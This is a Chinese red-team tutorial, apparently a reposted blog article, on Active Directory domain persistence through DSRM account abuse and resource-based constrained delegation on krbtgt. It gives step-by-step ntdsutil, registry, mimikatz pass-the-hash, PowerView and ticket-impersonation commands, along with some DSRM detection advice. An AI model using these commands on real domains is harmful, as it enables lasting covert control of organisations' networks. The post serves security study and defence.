前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >域渗透-域内权限维持(上)

域渗透-域内权限维持(上)

作者头像
Gamma实验室
发布2022-08-30 11:54:11
7980
发布2022-08-30 11:54:11
举报
文章被收录于专栏:Gamma安全实验室Gamma安全实验室

前言

域内权限维持的方法总结如下:

  1. DSRM
  2. 利用基于资源的约束委派进行域权限维持
  3. Delegation Golden Ticket
  4. 利用域用户登陆脚本
  5. 万能密码(Skeleton-Key)
  6. 黄金票据
  7. AdminSDHolder
  8. SID History后门

技术展开

2.1 DSRM

原理

在每个域控机器下都有一个DSRM帐户,为DC的本地管理员账户,这个帐户的作用就是用来设定登陆服务还原模式 AD 节点的系统管理员密码,意思就是可以从新设置DC管理员的密码,在红队作战中,如果我们拿到了DSRM帐户的密码,就算哪天域管权限丢失,我们也可以把域内任意用户的密码同步到 DSRM 账户上[这里包括了 dc 本地的 admainistrator 用户],而后再利用 DSRM 账户 ipc 连到 dc 上把域管权限拿回来。

<!--DSRM账户是域控的本地管理员账户,并非域的管理员帐户,存储在SAM文件中,所以DSRM密码同步之后并不会影响域的管理员帐户,另外,在下一次进行DSRM密码同步之前,NTLM的值一直有效,且更改域内的administrator帐户,并不会影响DSRM帐户,持久化效果会很好 -->

小细节:

代码语言:javascript
复制
Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步
Windows Server 2003不支持DSRM密码同步
利用方式

攻击者将DSRM账户的hash与krbtgt同步,就算此时应急改变DC的administrator的密码,也可以继续利用pth哈希传递攻击。

需要的条件:

  1. 此攻击需要使用DC的ntdsutil来修改DSRM账户的密码。 1.1 直接修改DSRM 帐户的密码 1.2 域帐户同步的方式来修改
  2. 需要修改DSRM的登录方式。 2.1 通过注册表修改
实际操作

域帐户同步的方式来修改DSRM 帐户的密码

代码语言:javascript
复制
set dsrm password
sync from domain account 域用户

直接修改DSRM 帐户的密码(这种需要之前的administrator帐户密码)

代码语言:javascript
复制
运行 ntdsutil
#输入 
reset password on server null
administrator帐户的密码
DSRM新密码

获取本地SAM 数据库的密码:

代码语言:javascript
复制
token::elevate 
lsadump::sam

发现hash已经与域用户admin hash 同步了

修改DSRM登陆方式,允许DSRM帐户远程访问:

需设置注册表项,如果没有,则新建,计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa,设置值参考如下:

0:默认值,只有当域控重启并进入DSRM模式时,才可以使用DSRM管理员账号。

1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控。

 2:在任何情况下,都可以使用DSRM管理员账号登录域控。

我们需设置为2

然后mimikatz pth

代码语言:javascript
复制
sekurlsa::pth /domain:DC /User:administrator /ntml:hash
dir /a \\DC\C$

防御与检测:

代码语言:javascript
复制
1.定期检查注册表中用于控制DSRM登录方式的键值hklm:\system\currentcontrolset\control\lsa\确认该键值为1,或者删除该键值。
2.定期修改域中所有域控的DSRM账号。
3.检查ID为4794的日志

2.2 利用基于资源的约束委派进行域权限维持

原理

基于资源的约束委派(Resource-based constrained delegation)是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。

利用原理:给DC或者krbtgt 设置我们控制的主机资源的基于资源的委派,那么就能控制DC,达到权限维持的目的。

利用方式

主要有两种方法:

  1. 配置机器帐户到krbtgt帐户基于资源的约束委派
  2. 配置机器帐户到域控基于资源的约束委派
实际操作

配置机器帐户到krbtgt帐户基于资源的约束委派,使用的工具模块为 Powerview:

值得注意的是,基于资源的委派,必须是委派双方需资源,例如机器帐户,服务帐户什么的,不能是域用户,下面尝试使用设置域用户帐户设置基于资源的委派,发现能设置,但是实际上是用不了

  1. 获取test1域用户的sid
代码语言:javascript
复制
Get-DomainUser -Identity test1 -Properties objectsid
#S-1-5-21-2288091295-2811714918-3159536460-1107
  1. 设置test1到krbtgt 的基于资源的委派
代码语言:javascript
复制
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2288091295-2811714918-3159536460-1107)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-DomainObject krbtgt -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

需要域管理员权限才能设置,不然就会拒绝访问

3.查看是否设置成功

代码语言:javascript
复制
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

也可以通过ActiveDirectory模块添加:

只有Windows Server 2012以及以上的ActiveDirectory模块才有-PrincipalsAllowedToDelegateToAccount选项

代码语言:javascript
复制
Set-DomainObject Krbtgt -PrincipalsAllowedToDelegateToAccount test1
Get-DomainObject Krbtgt -Properties PrincipalsAllowedToDelegateToAccount

4.利用test1 域用户请求TGT:

代码语言:javascript
复制
getst.exe -dc-ip 192.168.140.1 -spn krbtgt -impersonate Administrator redteamspace.com/test1:1qaz@WSX

重新配置机器帐户到krbtgt帐户基于资源的约束委派,步骤相同,只需要把test1改成机器帐户,或者服务帐户

这里就能成功请求到票据了

这里就有DCSync的权限了,但如果要访问域空,那么krbtgt就得改成域控的机器帐户名了,或者其他服务。

请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-05-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Gamma安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 技术展开
    • 2.1 DSRM
      • 原理
      • 利用方式
      • 实际操作
    • 2.2 利用基于资源的约束委派进行域权限维持
      • 原理
      • 利用方式
      • 实际操作
相关产品与服务
访问管理
访问管理(Cloud Access Management,CAM)可以帮助您安全、便捷地管理对腾讯云服务和资源的访问。您可以使用CAM创建子用户、用户组和角色,并通过策略控制其访问范围。CAM支持用户和角色SSO能力,您可以根据具体管理场景针对性设置企业内用户和腾讯云的互通能力。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档